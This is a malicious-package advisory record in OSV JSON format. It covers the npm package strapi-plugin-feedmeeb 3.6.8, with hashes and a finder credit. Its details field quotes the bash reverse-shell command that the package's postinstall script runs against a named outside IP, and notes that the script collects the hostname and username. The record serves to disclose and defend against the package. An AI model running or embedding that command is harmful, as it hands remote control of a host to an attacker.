{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "postinstall.js",
              "sha256": "be89d4d26c3327a753f62deb28ebfadc3eccb1f3f56f179c342fade4eb285598",
              "tlsh": "ef3121ed06ba2a3961338cf9522b4053952740013822d57cbadc8743bfc1d99ca71bf6"
            }
          ],
          "package_integrity": [
            {
              "filename": "strapi-plugin-feedmeeb-3.6.8.tgz",
              "hashes": {
                "sha1": "bfd8177c04e6c23a1184a864868c2e3627c0150f",
                "sha512_sri": "sha512-jsx2fOIiXfFUaUDoAj/HTIRqp8bGVUWTCXJiomyMdCu9wUpqE9ClLpvqLO51qUVOGvIIRa0L9VFlFaL6aIUw8Q=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "strapi-plugin-feedmeeb"
      },
      "versions": [
        "3.6.8"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-020095",
        "import_time": "2026-09-16T14:19:37.595349554Z",
        "modified_time": "2026-09-16T13:57:47Z",
        "sha256": "7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5",
        "source": "amazon-inspector",
        "versions": [
          "3.6.8"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5)\nstrapi-plugin-feedmeeb@3.6.8 ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form `bash -i \u003e\u0026 /dev/tcp/14.225.210.85/80 0\u003e\u00261` and exec\u0027s it via child_process, with retry logic, giving the operator of 14.225.210.85 interactive command execution on the installer\u0027s host. Alongside the shell, the script collects os.hostname() and os.userInfo().username to identify the compromised machine. The package presents itself as a Strapi plugin but its install-time behavior is unrelated to any plugin function.\n",
  "id": "MAL-2026-16230",
  "modified": "2026-09-16T13:57:47Z",
  "published": "2026-09-16T13:57:47Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/strapi-plugin-feedmeeb/v/3.6.8"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in strapi-plugin-feedmeeb (npm)"
}